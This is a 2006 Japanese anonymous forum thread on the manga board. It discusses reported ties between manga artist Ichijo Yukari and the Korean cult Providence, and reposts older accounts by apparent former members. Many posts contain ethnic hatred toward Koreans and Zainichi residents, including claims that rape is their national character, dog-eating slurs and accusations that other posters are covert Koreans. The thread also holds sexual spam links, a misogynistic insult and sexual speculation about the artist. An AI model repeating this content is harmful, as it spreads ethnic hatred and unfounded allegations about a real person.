先生の喜びは神様の喜びだから、
先生を喜ばせるためなら何でもしようとする。
先生が演歌が好きなのも、神様が演歌好きだから?
先生、先生、先生。
これが摂理の全てである。


298 名前:名無しで宗教問答 [2003/05/01(木) 21:18]
>>297
全くその通りです。
一昨年の巡回とやらは相当なものです。


590 :花と名無しさん:2006/08/04(金) 18:23:14 ID:???0
300 名前:名無しで宗教問答 [2003/05/02(金) 00:13]
>>298
一昨年の巡回って何のこと?

303 名前:名無しで宗教問答 [2003/05/02(金) 00:26]
>>300
先生が8月中旬に千葉にきたことかなぁ。

304 名前:名無しで宗教問答 [2003/05/02(金) 00:57]
>>298
確か先生がバットで飛ばしたボールをみんなが必死になって
とろうとしてたっけ。
山崎パンを先生が配ってくれて、みんな大事そうに
その山崎パンを舞台にのぼって受け取っていたっけ。
700人くらいいた人が全員。


305 名前:名無しで宗教問答 [2003/05/02(金) 01:13]
>304
耳がきこえなかった人が癒されたのもその時でしたっけ?


306 名前:名無しで宗教問答 [2003/05/02(金) 01:17]
>>305
そんなこともあったっけ。
Mランさんが通訳してたよね。
あれはどういうことだったんだろうね。
やっぱり先生には癒しの力があるのかな。

591 :花と名無しさん:2006/08/04(金) 18:23:35 ID:???0
私も別に、他国の食文化にまで口を出そうとは思わないな。
私自身、牛も馬も鯨も食べるし。
犬食は日本でも一部にはあったらしいよ。

592 :花と名無しさん:2006/08/04(金) 18:23:50 ID:???O
>>557
それは二条ゆかりだ

593 :花と名無しさん:2006/08/04(金) 18:23:55 ID:???0
307 名前:名無しで宗教問答 [2003/05/02(金) 01:20]
千葉に先生が来られたとき、
沢山の人の中から、「この中にガンの人が二人いる」って
一瞬でわかったみたいでした。
私はそのとき自分なのではないかととても不安になってしまいました。
ちがったのでよかったのですが。
そんなこともわかるのかと益々先生を崇拝していました。
そのときは。


309 名前:名無しで宗教問答 [2003/05/02(金) 01:26]
>>307
そのあとで健康チェックするための発言じゃないの?
先生が来た日のまさに次の日からぱったり来なくなった
女性(チアじゃないけど背は高かった)メンバーがいて、
ヘンだなと思ったんですが、もしかしたら・・・・


310 名前:提案 [2003/05/02(金) 01:26]
摂理もだんだんやばくなってきましたので、
どうでしょう。
ここらで摂理オフというのは。
再開は3年半後。
きっととうげん期間がおわれば今の苦しみはなくなるよ。


312 名前:名無しで宗教問答 [2003/05/02(金) 01:30]
>>309
そうなんですか?
とにかく私はこわくなってしまって、
同じ教会のもこわくなって泣いていた子もいましたよ。

594 :花と名無しさん:2006/08/04(金) 18:25:31 ID:???0
314 名前:名無しで宗教問答 [2003/05/02(金) 01:33]
>>309
うーん、確かに千葉のあの巡回はただならぬ雰囲気でしたよね。
信仰がしっかり入っていなければ次の日から来なくなるというのも
わかる気がいたします。
確か先生をずーっと待っていて、昼前から待っていたのが、
先生がついたのは結局夜だったのを覚えています。

318 名前:310 [2003/05/02(金) 01:36]
いやだからさ。
今ちょっと雲行きがあやしいから、とりあえずエリヤになっておいて、
時がきたらアハブ王のところへいけばいいんじゃないのって。


320 名前:名無しで宗教問答 [2003/05/02(金) 01:38]
>>316
先生の日本巡回はしばらくはないでしょう。
いや、もう一生ないかも。
なにしろ指導者でさえ先生の居所を知らない。
これは非常事態である。


325 名前:318 [2003/05/02(金) 01:42]
いやだからさ。
エリヤだって食べ物ろくに食べられずにカラスがもってきたパン
でしのいでたのだから、摂理人も世の中でもまれながら
鍛えて3年半後にまた食べられるまで我慢すればってことさ。

595 :花と名無しさん:2006/08/04(金) 18:26:12 ID:???0
コピペいらんよ。

596 :花と名無しさん:2006/08/04(金) 18:26:45 ID:???0
327 名前:名無しで宗教問答 [2003/05/02(金) 01:43]

イエスさまのときほとんどの人がイエスさまから去っていったが、
それでもイエスさまについてきた人が歴史をひろげていったのだから、
今度もきっとそうさ!

597 :花と名無しさん:2006/08/04(金) 18:27:47 ID:???0
>>581>>591
ちょっとでも韓国に関わることは総叩きしなきゃ気の済まない人がいるんだよ。
スルーしとけ。
>>592
一条さゆりだろ

598 :花と名無しさん:2006/08/04(金) 18:30:47 ID:???0
韓国が何かというと日本にストーカーして来るのが悪い

599 :花と名無しさん:2006/08/04(金) 18:33:32 ID:???0
>>566
天ツラ文庫の一条さんの解説では「でも聖書は完読できませんでした」て出てるよw
でも、慶応大学だったか学内のサークル研究会だか講義の聴講だかに通って聖書を勉強したという話は
どこかで読んだ覚えがある。
いっそ基督教大学その他の神学部のある大学へ取材と勉強で通えば、
聖書の世界というよりもキリスト教の歴史から学べてよかったかもなあ。

>>568
> 一条は遠藤周作(クリスチャン)の著書は、読んだ事ないんだろうか?
三浦綾子さんもクリスチャンの作家で、あの方は信仰の入門書も書いてるよね。
聖書の教えが濃く反映してる小説なら「ナルニア物語」も有名だ。
今年だったら映画で「ナルニア」も「ダヴィンチコード」もあったんだけどねw

> 少しでも一条の摂理との関わり濃度が薄まればいいのだけど…。
この気持ちはすごくわかるけど、過去に関わってしまったことはもう撤回できないでしょう。
それよりも、一条さんが「ご心配かけまして申し訳ありません」みたいな謙虚なコメントを出してほしいよ。


600 :花と名無しさん:2006/08/04(金) 18:36:56 ID:???0
三条まさとは?

601 :花と名無しさん:2006/08/04(金) 18:37:55 ID:???0
ナルニアはファンタジーだけど、ダウィンチなんて「と」じゃん


602 :花と名無しさん:2006/08/04(金) 18:41:16 ID:???0
悪いけどこの人がカルトの餌食になるなんて考えられない。
私が女王タイプなんで教祖に入れあげるなんてことはないでしょう。
自分が教祖になるならともかく。
一度は近づいても本当に向こうから見放されそう(w

603 :花と名無しさん:2006/08/04(金) 18:53:26 ID:???0
「まさかあの人が」とか「私はそういうの絶対はまらない」とか
思い込んでる人が一番危ない。

604 :花と名無しさん:2006/08/04(金) 18:59:57 ID:???O
夕方NHKで世界遺産モン・サン・ミシェルの再放送を見ながら、
どうせなら取材と称して、こーゆー場所に旅行すれば良かったのに
と思っちゃったよ。
一条らしくミーハー心も満たせそうな場所だしね。

605 :花と名無しさん:2006/08/04(金) 19:00:41 ID:???0
今ごろあれこれ言っても、もう手遅れ。
雲隠れの揚げ句「騒ぎに巻き込まれて迷惑してる」なあんて人づてに言わせる漫画家では、
たとえ今回うまいことクリアできても、
天ツラ文庫以外の売り上げは伸びなくなるだろう。

606 :花と名無しさん:2006/08/04(金) 19:24:11 ID:???0
>>602
仲の良い友達かボーイフレンドが摂理信者だったんじゃない?


607 :花と名無しさん:2006/08/04(金) 19:25:53 ID:???0
【カルト】 「教義は統一協会の丸パクリ」「韓国人には刷り込みなど相手をコントロールする能力たけた人多い」 苫米地氏分析 [08/03]
http://news18.2ch.net/test/read.cgi/news4plus/1154583910/

■「摂理の教義は統一協会の丸パクリ」苫米地氏分析…NewsX

 韓国のカルト教団「摂理」の鄭明析(チョン・ミンソク)教祖(61)=強姦(ごうかん)容疑で
韓国が国際指名手配、逃亡中=が、複数の日本人女性にも性的暴行を働いていたことが
明らかになり、社会問題化している。なぜ、有名大の美しい女性たちが次々と鄭教祖の毒牙
にかかったのか?脳機能学者・苫米地英人氏(46)は「シャーマン文化を尊重する韓国には、
相手をコントロールする能力にたけている人が多い」と指摘した。

 また、有名少女漫画家や元Jリーガーが広告塔となっているとされる点については「スポーツ
選手は洗脳にかかりやすい」と分析。「教団は、お金を持っていて社会的に有名な人を狙うので、
スポーツ選手やタレントは格好のターゲット。空間認知能力が高い方が精神世界への臨場感を
感じやすく、洗脳されやすい」と、かつて有名力士が洗脳騒動を巻き起こした例を挙げつつ、説明した。

 また、2005年4月には、京都府八幡市にある「聖神中央教会」の代表(後に解任)パウロ永田こと
韓国籍の金保(きん・たもつ)受刑者が、小学6年の女児信者(当時12歳)への女性暴行などの容疑
で逮捕された。被害者は少なくとも35人に上るという。



>有名少女漫画家が広告塔となっているとされる点について

>教団は、お金を持っていて社会的に有名な人を狙うので、 スポーツ選手やタレントは格好のターゲット。


608 :花と名無しさん:2006/08/04(金) 19:32:30 ID:???0
>>602
前にも書いたが、一条自身が俗っぽいから、ああいう俗まみれの
カルトに嵌った、そして広告塔として協力したって線じゃないのか?
類は友を・・・ってね。真面目な宗教だったら嵌らないタイプだろ。

それに一条は女王気質とはいい難い。仕事だってチーフアシが
みんな仕切っていて、一条はそれに沿って仕事してるだけ、って前に
ラジオで言ってたし。気の強い奔放者って感じだろ。

609 :花と名無しさん:2006/08/04(金) 19:34:58 ID:???0
>>591
半島擁護の捏造はいけないな。
半島の人達は世界各国で犬食べて迷惑かけてるけどね。
もちろん日本でも犬肉を売買してるのは朝鮮人。
最近のニュースでもあったから記憶に新しいと思うけど。


610 :花と名無しさん:2006/08/04(金) 19:57:14 ID:???0
>>574
「愛のないセックス」をいけないものとするってさ、
普通の道徳観念を持っていたら当たり前のことじゃん
それを摂理の教えと同じだと言われてもね・・・
他の部分はよく知らないからともかく、
その点についてだけは疑問符が付く

611 :花と名無しさん:2006/08/04(金) 19:58:42 ID:Z/eo4SSI0 ?2BP(121)
カルト教団のすくつはここですね

612 :花と名無しさん:2006/08/04(金) 19:59:48 ID:???0
>>610
最近の日本の性教育では
「『愛のないセックスをしてはいけない』という考えを
 押し付けてはいけない。セックスは自由なものである」
のような教えをするところもあるんだよ

613 :花と名無しさん:2006/08/04(金) 20:01:05 ID:???0
はだしのゲンかなんかに赤犬がうまいとか言って食ってたおっさんの
描写があったような気がするがあれは文化ではないな。

614 :花と名無しさん:2006/08/04(金) 20:03:10 ID:j0g4f+590
>>613
犬は赤黒白の順でうまいんだべ。

615 :花と名無しさん:2006/08/04(金) 20:07:27 ID:???0
>>548
>>555

カルトの教義の中心って、実はどれも似たり寄ったり。
「原罪をクリアーして現世利益ウハウハ」とか。
キリスト教系だと「原罪」、道教系だと「霊のたたり」、
精神分析系だと「抑圧」。

天使のツラノカワって、そこまで露骨なカルト系教義は
なかった気がする。特徴が出てるとしたら、かなり細かい
ところにあるんだろうな。

616 :花と名無しさん:2006/08/04(金) 20:08:43 ID:2CKnYyZr0
天ツラの4巻のシスターとの会話
 「三大祝福ですよね。生めよ、ふえよ、地を従わせよ」
の三大祝福って聞いたこと無かったんでググルと
http://www.google.com/search?num=100&hl=ja&q=%E4%B8%89%E5%A4%A7%E7%A5%9D%E7%A6%8F&lr=
ヒィーな感じ


617 :花と名無しさん:2006/08/04(金) 20:13:53 ID:???0
統一教会の教えそのまんま引き継いでんの?摂理って・・・

618 :花と名無しさん:2006/08/04(金) 20:16:36 ID:???0
>>613
半島人が日本に何百万人いるのか考えたことあるか?
ごく普通に日本人のふりして暮らしてる。
昔からそいつらが犬食いの習慣を持ち込んで食ってたんだよ。

このスレにも沢山いることだろう。不自然な擁護レス見たらわかる。
まあリアルで在日だらけなんだから2chにいるもの当然だが。正直ウザい。

619 :花と名無しさん:2006/08/04(金) 20:18:45 ID:???0
それにしても何が腹立つかって

一条が ダ ン マ リ を決め込んでることだ

「迷惑」と言いたいなら自分の口で言え。
釈明したいなら表に出ろ。
「多忙」だと? 漫画を描く時間はあるんだろうが!!
編集を盾にするな! 編集も盾になるな!
社会的責任を放棄して自分らの保身に走ってんじゃねえよ!!

清四郎だったらどう対応しただろうな。
作者がコレではキャラが可哀相だ。





有閑に嵌まって単行本買い揃えた俺もっとカワイソスw

620 :花と名無しさん:2006/08/04(金) 20:19:56 ID:???0
>>616
それがズバリ
摂理&統一協会用語だったんだ(((( ;゚Д゚)))ガクガクブルブル

「愛のないセックルはいけない」は
別に摂理の教えじゃなくて
まともな人の考えだもんな。

621 :あぼーん:あぼーん
あぼーん

622 :花と名無しさん:2006/08/04(金) 20:21:28 ID:???0
雑誌掲載時には誰も気づかなかったのがまた怖い

623 :花と名無しさん:2006/08/04(金) 20:21:36 ID:???0
犬食いとクジラ食いをケンカさせるアングロサクソンの
陰謀にはまる黄色人種乙。

624 :花と名無しさん:2006/08/04(金) 20:27:08 ID:???0
>>615
> 天使のツラノカワって、そこまで露骨なカルト系教義は
> なかった気がする。特徴が出てるとしたら、かなり細かい
> ところにあるんだろうな。

そだね。宗教については人並みの一般知識程度しか持ち合わせない人間には
わからんだろう。

>>574
> 撮影ロケから戻って以来すっかり仲よくなった沙羅と紫生に、いらだつ美花が、
> 恵美ちゃんから言われて自分の中の嫉妬心に気づいたシーンがある。
>
> 絵の方は、裸の女イブに向かい合う、リンゴの樹に絡みつく下半身蛇の女、そこで美花のモノローグ。
> 「ルシフェルがイブをそそのかしたのも、神様に愛されている人間に嫉妬したから」
> 「この世に恋愛があるかぎり嫉妬という名のサタンが顔を出し、弱い人間をむしばんでしまう」
> このあたりも、摂理と統一教会の「堕落論」に通じるね。

この辺読んでたとき、
「女ともだち」の、菜乃が
「苦しいだけの恋ならしたくない」みたいなことをモノローグするシーンを思いだしたもんだ。

625 :花と名無しさん:2006/08/04(金) 20:33:32 ID:???0
>>617
上の方のどこかに出てた気がするけど
摂理の教祖は、統一教会の幹部クラスだったのさ。
摂理は統一教会の分派と考えるべきだね。
wikipediaで摂理という項目を読むと分かる。
統一教会という項目の方は、うんざりするほどくわしい。
今朝見たら他の著作物をまんまいれてるという問題があるそうで削除候補になってたな・・・

626 :花と名無しさん:2006/08/04(金) 20:35:21 ID:???0
>>618
これだけ韓国カルトが叩かれ、韓国流が蔑まれてるスレで
韓国犬食いを擁護してる奴がいるんだから
在日も摂理信者もこのスレに常駐してるんだろね。バレバレ

627 :花と名無しさん:2006/08/04(金) 20:37:34 ID:???0
犬は世界各国で愛玩動物だから、犬食いが嫌われるのも然り

628 :花と名無しさん:2006/08/04(金) 20:43:09 ID:???0
>>619
最終行の有閑を砂の城に変えるけど

まるっと同意!!!

629 :花と名無しさん:2006/08/04(金) 20:45:01 ID:???0
ちょっと大騒ぎしすぎかな。
実際、広告塔って感じでもないみたいだし。
みんなもう少し冷静になろうよ。


630 :花と名無しさん:2006/08/04(金) 20:45:40 ID:???0
>626
韓国人は反日のくせに日本の漫画が大好きだからなー。
一条ファンとして紛れ込んでるんだろ。
犬食い韓国人だけでなく、韓国擁護の在日もいれたら膨大な数になりそうだ。

つか朝鮮人の習慣にまで日本を引きずり込もうとする姿勢が気持ち悪い。

犬食いを正当化して韓国擁護しようなんて無駄なこと考えずに、おとなしく一条の話だけしとけ。




631 :花と名無しさん:2006/08/04(金) 20:48:02 ID:???0
犬食いを援護する時点で日本人じゃないなぁと思ったよ。
昨日必死で「韓国旅行は流行ってた」と主張してた人も
日本人じゃない人だったんだろうね。

632 :花と名無しさん:2006/08/04(金) 20:55:22 ID:???O
>>629
いつもの長文で漫画を語る人々が少ないので、元からの住人より
祭りで引き寄せられた人々が半分以上いそうな希ガス。

633 :花と名無しさん:2006/08/04(金) 20:56:09 ID:3JzZvD8J0
一条が自分の言葉で釈明するなりしないと
どんどんアンチが増えそう。

634 :花と名無しさん:2006/08/04(金) 20:56:16 ID:???0
貧乏人は週末にぶらっと海外という思考も働かないよねw

635 :花と名無しさん:2006/08/04(金) 20:58:03 ID:???O
このおばあさんの漫画、小学校の時りぼんにたまに載ってたけど
絵が気持ち悪いし、1ミリもおもしろくないから飛ばしてました。
年上の友達が、
「流行らない駄菓子屋に売れ残ってる下敷きの絵」
と言って毛嫌いしてた。
おばあさんなのに、カルトにはまるなんてかわいそう。

636 :花と名無しさん:2006/08/04(金) 21:04:18 ID:???0
週末にふらっと行くなら国内の良質な旅館の方がずっといいけれど、海外だったらバリか台湾かな。
韓国なんぞに行く気は起きん。何の魅力もないから。

637 :花と名無しさん:2006/08/04(金) 21:05:12 ID:???0
50才代をおばあさんってのは、いいのかわからんが
カルトにハマル精神状態だったてのは、たしかに哀れ…

638 :花と名無しさん:2006/08/04(金) 21:06:16 ID:???0

通常、月刊誌の製本手配は、発売日の1週間くらい前になる。
その前段階として、印刷手配というのがあるわけだが。
校了となるまで、結構ぎりぎりの日程だったりする。
来週前半に(広告塔となった漫画家に関する)新たな報道などがなければ、
次号に作品は載るのだろうね。

公式サイトは、ぎりぎりまで変化はしないと思う。
今の段階で一条関係の予告やコンテンツをいじったら、
今後も何か進展があるたびにまめに更新しなくてはならないから。

639 :花と名無しさん:2006/08/04(金) 21:07:53 ID:???0
>>636
1泊2日でバリはむりでしょw
グアムやハワイも最低でも2泊、結果台湾と韓国ね。
でも実状を知った今ではあり得ないけど。見るところないし。

640 :花と名無しさん:2006/08/04(金) 21:08:44 ID:???0
お金持ちが週末にぶらっと韓国。
うわ!キモ!



641 :花と名無しさん:2006/08/04(金) 21:11:15 ID:V0y763040
犬食い韓国人を肯定してる奴ってなんなの?
あいつら近所の飼い犬拉致って食ったりしてるんだぜ。

642 :花と名無しさん:2006/08/04(金) 21:11:38 ID:???0
間接的に統一教会の教えを褒めるような事漫画に載せちゃってるわけだからねぇ
問題だよねぇ

643 :花と名無しさん:2006/08/04(金) 21:13:41 ID:???0
行くなら台湾かな
故宮博物院は北京のより収蔵物がいいし

644 :花と名無しさん:2006/08/04(金) 21:14:15 ID:???0
>>635
お、お、お、おばあさん……wwww

645 :花と名無しさん:2006/08/04(金) 21:14:18 ID:???0
>>641
たとえばどれ?

646 :花と名無しさん:2006/08/04(金) 21:14:42 ID:???0
もともとの漫画ファンから反感をかい
反カルトから気持ち悪がられ
韓国嫌いから罵られ。

いいことないよ、一条さんだんまりは。

647 :花と名無しさん:2006/08/04(金) 21:17:55 ID:???0
>>639
えっと、一般的に週末は最低でも二泊三日かとw
木曜あたりから週末にしてふらっとバリもいいよ。まあ、 韓 国 だ け は あ り 得な いのはガチ。

一条もよりによって馬鹿な国にひっかかっちゃったんだなぁ…。残念だよ。
アジアの国は多いんだからインドネシアあたりにしとけばよかったものの。

648 :花と名無しさん:2006/08/04(金) 21:18:24 ID:???0
うん、ここで展開される内容は読む気がしない。
釣り師がいるみたいだけど、ぬるくてめんどくさいw

一条がなんか言うの待ち。

649 :花と名無しさん:2006/08/04(金) 21:19:50 ID:???0
>>547
> 「勧誘の手紙とかお説教を録音したテープとか」は、いかにも「摂理」っぽい。
>   普通の教会なら、そういった宣伝行為はまずやらないからね。

うん、やらない。
ただし、もうちっと厳密な言い方するなら、
下さいと言われたら差し上げるけど、言われてもいないうちから上げるようなことはしない、ってのが普通。

あと、たいがいの教会は、そこを訪れた人に聖書を無料でくれる。ほとんどは新約聖書だけど。
信者でなくてもくれる。でもご自由にお取り下さいという方式。



650 :花と名無しさん:2006/08/04(金) 21:24:18 ID:???0
>>647
特に反論もないよw
以前はまだPC持ってない、2ちゃんなんてって人が多かったから、みんな流行りにのって一回行って終わりって流れだったね。
>>647は行く前に悪情報を沢山もってたからあり得ないんでしょ
以前は情報がなかったのよ。
だからこそブームにもなったのに、それを否定して韓国擁護とか言われてもねぇ・・・

651 :花と名無しさん:2006/08/04(金) 21:25:29 ID:???O
御大は色んな顔を持ってるし深い人だと思うけど
普段の漫画や個性の出るドキュメンタリー漫画を読んでても
変な人とは感じない
次号も楽しみにして待っている

652 :花と名無しさん:2006/08/04(金) 21:32:19 ID:???0
まだ完全週休二日制でなかった時代に、少ない情報と無知ゆえに韓国旅行した人はいるかもね。
でも一回きりでしょ。ガカーリして終わり。
ブームってほど大々的に市民権は得てないけど(日本は広い)、カルト的人気程度。

653 :花と名無しさん:2006/08/04(金) 21:37:08 ID:???0
悪質な下請け韓国人アニメーター。韓国アニメーターの実態!

・blood+ ベトナム編の背景に朝鮮企業の看板をこっそりと入れる
ttp://blog.naver.com/yinglinlee/70003616283
・まほらば 〜Heartful days〜 日の丸を排し、その座を埋める大極旗
・UG☆アルティメットガール 竹島どころか、壱岐・対馬までもが韓国領に
ttp://homepage1.nifty.com/ppp-j/clip//img20050704154934.jpg
・カレイドスター 商店に掲げられる×印を描かれた日の丸と、Keep Outの文字
ttp://www.geocities.jp/katagi72000/kaleidostar43.jpg

・おジャ魔女ドレミ ドッカ〜ン! 韓国機が常に他国の旗の前面を舞う
・ドラゴンドライブ オープニング背景を流れる単語にJAPの文字
・Rozen Maiden 真紅が偽ポッキー(ペペロ 韓国ロッテ製品)を食べている
・ヒカルの碁 ロッテリアの異常露出
・バジリスク 原画から異臭。カット中にビューティフルJOの設定混入
・BECK 綴りを変えた某韓国企業の看板が何度も大写し
・銃夢 一話中盤の背景に朝鮮文字を発見。背景が全員日本人なので色塗りの段階で工作。

抗議がされたアルティメットガールと抗議されなかったカレイドスター
・カレイドスター DVDでも反日の名残が残ったままです。
・UG☆アルティメットガール 制作元に抗議が行われた為DVDでは修正されている。

韓国人アニメーターによる陰湿な嫌がらせを発見した場合、
直ちに制作元へ抗議しましょう。泣き寝入りは絶対にNO!

●韓国人アニメーターに汚された作品を語るスレ2● http://anime.2ch.net/test/read.cgi/asaloon/1142894337/



韓国人って色々やってるんだね

654 :花と名無しさん:2006/08/04(金) 21:38:30 ID:???0
まぁ2ちゃんねるが容認され始めたのは電車からだしね

655 :花と名無しさん:2006/08/04(金) 21:41:15 ID:???0
擁護って言葉を知らずに「援護」とか書いてるバカも
生粋の日本人とは思えない。

656 :花と名無しさん:2006/08/04(金) 21:41:26 ID:???0
>>651
誰でも最初はそう思う



657 :花と名無しさん:2006/08/04(金) 21:42:33 ID:???0
次スレタイは 一条さゆり か 一条みゆき にでもしておくか・・・?

658 :花と名無しさん:2006/08/04(金) 21:44:45 ID:???0
>>651
漫画読んで変なひとだと思ったんじゃなくて
カルトの広告塔になってるから変で気持ち悪いひとだと思ったんだよ

659 :花と名無しさん:2006/08/04(金) 21:45:05 ID:???0
奈良市立一条高等学校 というのが実在していた

660 :花と名無しさん:2006/08/04(金) 21:45:58 ID:???0
>>655
同意。擁護すんなって、どこが擁護なんだと問い詰めたいw
>>654
まだ2ちゃん見ない人いるよ。乱暴な書き込みが目に入るのがいやなんだって。
自分のことじゃなくても、ストレスを感じるらしい。

661 :花と名無しさん:2006/08/04(金) 21:47:50 ID:???0
>>657
やめてくれwこの板にいられなくなる

662 :花と名無しさん:2006/08/04(金) 21:48:27 ID:???0
オマンコって基本的に私の中では中出しよ!
http://human5.2ch.net/test/read.cgi/ms/1154679808/

663 :花と名無しさん:2006/08/04(金) 21:57:04 ID:???0
>>660
韓国臭がする擁護だとウザがられているのは犬食い擁護レスを入れてる人達なんだから
(釣りっぽい「援護」さんを除いて)、あまり気にするな。
>>660が過去のあやまちでつい韓国旅行してしまったことを
人生の汚点だと考えていることはもうよくわかったからw

664 :花と名無しさん:2006/08/04(金) 21:57:21 ID:???0
>>653
なんでそこでヤシガニが出てこないんだ

665 :花と名無しさん:2006/08/04(金) 22:00:08 ID:???0
>>663
(´;ω;`)ブワッ

666 :花と名無しさん:2006/08/04(金) 22:01:35 ID:???0
犬食については、擁護というより容認してる人がいただけでしょ。
自分も食うって言ってんじゃないんだし、
「それはそれで有り」って考えの人まで否定するのは
ヒステリックにすぎると思うけどな。

667 :花と名無しさん:2006/08/04(金) 22:05:55 ID:???0
犬食いが問題なんじゃなくて殺し方なんじゃないの?
確か撲殺でしょ。
犬に恐怖を与えながら殺すと、アドレナリンが出て味が良くなるとかって。

668 :花と名無しさん:2006/08/04(金) 22:05:56 ID:???0
しつこい

669 :花と名無しさん:2006/08/04(金) 22:09:35 ID:???0
犬食については、かつて食糧不足の折りや、滋養にいいと言われて日本人も
食べたことがあるのは事実として認めておくべき。なかったと言えば嘘になる。
持ち込んだのは半島人かもしれないが。

しかし、『今現在普通に食べる文化があるのは半島のみで、
しかも食べる前の屠殺(差別用語指定されていてATOKでは出てこない)
の仕方が尋常じゃなく残酷』
『隣の家や、勤め先の会社のペットを盗んで勝手に食うという事件が
今もたびたびニュースになる国は韓国』

こういう部分にだけ注目すればいいと思う。

670 :あぼーん:あぼーん
あぼーん

671 :花と名無しさん:2006/08/04(金) 22:11:15 ID:???0
えんえんと犬喰いを話をしているやつらはそれにふさわしい板に行け

672 :花と名無しさん:2006/08/04(金) 22:12:22 ID:???0
>>671
ま、落ち着け。てにをはくらいはちゃんと使え。

673 :花と名無しさん:2006/08/04(金) 22:12:25 ID:???0
そういや、前々からこのスレはうんちく語り好きが山ほどいたな
犬食まで語りたいんですか、そーですか

674 :花と名無しさん:2006/08/04(金) 22:12:57 ID:???0
>666は上から読んできたら?
半島臭のする人が、朝鮮人の習慣である犬食いを擁護するために
あたかも日本にもあったかのようにミスリードしようとしている点が批判されてるんでしょ。
日本の良い面はすべて韓国起源、韓国の悪い面はすべて日本起源、という韓国人特有の思考方法だ。

つか犬食い擁護も容認もわざわざココでやるなよ・・・。気持ち悪いだけ。



675 :花と名無しさん:2006/08/04(金) 22:13:25 ID:???0
だってそこらあたりにいる女の子を性欲処理の為にレイプして
平気でいるのはあちらの国だもの、犬くらい平気でしょ。
日本でのレイプ犯罪も在日とあちらの人の割り合いが多いよ
国民性?

676 :花と名無しさん:2006/08/04(金) 22:14:12 ID:???0
ご飯タイムがおわって、また釣り師が戻ってきた印象

677 :花と名無しさん:2006/08/04(金) 22:15:36 ID:???0
スレ違い板違いを自覚できない貼り付き厨大杉。
ひまなのかカマってもらえる場所がないのかだろうけど
いきなり湧いて根づいて繁殖する植物のようだ。
んだから、>>657みたいな提案が出るんじゃない?
寄生厨、駆除できんのか?

678 :花と名無しさん:2006/08/04(金) 22:19:00 ID:???0
とりあえず、新潮記事の意見も出尽くした感もあるし、
スレタイ相談しようよマジで。


679 :花と名無しさん:2006/08/04(金) 22:19:29 ID:???0
クリトリスがずる剥けで刺激されるとすぐ濡れちゃう
http://human5.2ch.net/test/read.cgi/ms/1154512920

680 :花と名無しさん:2006/08/04(金) 22:19:44 ID:???0
この問題で韓国関係ないなんて言ってるのは在日でしょ。
統一にしても金保にしても明らかに韓国人が日本人を狙ってるじゃない。

681 :花と名無しさん:2006/08/04(金) 22:21:31 ID:???0
ワロス > 寄生厨

682 :花と名無しさん:2006/08/04(金) 22:22:10 ID:???0
<強姦教団 広告塔の一条ゆかり>

コミックスの帯に書いとけ!


683 :花と名無しさん:2006/08/04(金) 22:22:33 ID:???0
>>674
犬喰い叩きをここでやるのはキモくないんだw

684 :花と名無しさん:2006/08/04(金) 22:24:35 ID:???0
>>669韓国下品
気持ち悪い民族ですね


685 :花と名無しさん:2006/08/04(金) 22:24:53 ID:???0
>>669
冷静だね

686 :花と名無しさん:2006/08/04(金) 22:26:45 ID:???0
>>683
朝鮮人関係者乙。キモがられてることに気づけ。無理か。

687 :花と名無しさん:2006/08/04(金) 22:31:14 ID:???0
ゆかりも犬を食べた?おぇええぇぇーツ


688 :花と名無しさん:2006/08/04(金) 22:31:17 ID:???0
今更だけど、一条ゆかりで確定?
「先生」なんてつける気はさらさらないけど、
ずっと好きな漫画家だったよ。いや、今もプライドのコミックス買ってるし。
もう一人昔から好きだった槙村さとるには、だんだんついていけなくなって
ここ数年読んでないんだけど、一条ゆかりがまさかこうなるとは思ってもなかった。
マンガの連載とこれは別・・・ってわけにはいかないのかな。
とりあえず楽しみに読んでいた作品が途中で消えるのは寂しいのぉ。

689 :花と名無しさん:2006/08/04(金) 22:34:16 ID:???0
この教団って統一教会と同じようなとこだったのか。
その昔、宗教団体だと気づくのに時間がかかって
ちょっとはまりかけた事があって嫌な思い出がある。
駅前でアンケートなんかやってる連中にほいほいついてった
自分が悪いんだがね。
御大が広告塔ってのは機関紙にマンガ描いたりしてたのか?


690 :花と名無しさん:2006/08/04(金) 22:43:32 ID:???0
結論:一条は入信してないが天つらヒロインは入信していた

691 :花と名無しさん:2006/08/04(金) 22:49:09 ID:???0
一条氏のことはどうでもいいが、篠原美花のことは今でも好きだ。ああいう妹か嫁がほしい。

692 :花と名無しさん:2006/08/04(金) 22:55:39 ID:???0
今報ステでやってる。
キモ〜

693 :花と名無しさん:2006/08/04(金) 23:01:56 ID:???0
日本人女性への強いこだわりだって。
朝鮮半島は男性自身、日本列島は女性自身。
韓国は男の国、日本は女の国。
日本の女はセックス好き。

明らかに日本を狙ってるね。

694 :花と名無しさん:2006/08/04(金) 23:04:08 ID:???0
実際に引っかかったのは在日女と帰化女ばっかりだったのだがw

695 :花と名無しさん:2006/08/04(金) 23:07:32 ID:???0
じゃ、まさか一条も(ry

696 :花と名無しさん:2006/08/04(金) 23:09:38 ID:???0
実際教祖と体の関係だったんじゃないの?
想像するとキモいけど

697 :花と名無しさん:2006/08/04(金) 23:09:52 ID:???0
105 名前: 花と名無しさん [sage] 投稿日: 2006/08/02(水) 21:51:29 ID:???0
スレチですが、置いていきますつ荒しテク
・在日認定
・嫌韓だと言わせる誘導
・一見釣られた住人のフリで、本当の住人を巻き込む
・住人同士の仲間割れを装う >>102など。


698 :花と名無しさん:2006/08/04(金) 23:10:40 ID:???0
>>693
日本人男性が金髪の白人女性に抱くコンプレックスと酷似してますね。

699 :花と名無しさん:2006/08/04(金) 23:15:39 ID:???0
>>694
それならどんなにいいか。

純粋培養だったり、自虐史観を刷り込まれてきたまじめな日本人ほど
ひっかかりやすいというのが問題なんだよ。
統一協会の霊感商法にしても、先祖信仰がイメージとして根付いている日本以外は
殆ど成功していない。他の国では布教の仕方が違う。
教祖が韓国人の場合は、日本人から搾取したお金や人材を半島に持っていくことを
一番の目的として活動している。
一条さんがその広告塔になってしまったのだったら、
本人が意図しなかったとしても、状況の説明と謝罪を早くするべきだと思う。

700 :花と名無しさん:2006/08/04(金) 23:17:11 ID:???0
日本の女の欧米コンプレックスのほうが強いだろ
「白馬の王子様」とかは必ず白人だし
少女漫画とか見てても中世ヨーロッパ調だしな
イエローキャブとか簡単に股開いてくれるから日本の女は白人に舐められてる
白人との国際結婚とかも女の方が多い

701 :花と名無しさん:2006/08/04(金) 23:17:51 ID:???0
摂理に入って無くても既に肉便器のお前らが言うと違和感がありまくりですな

702 :花と名無しさん:2006/08/04(金) 23:18:22 ID:???0
>>698
こんなふうに半島関係者はすぐ根拠なしに日本を半島と同レベルに引き下げようとするんだよね。ウザ。

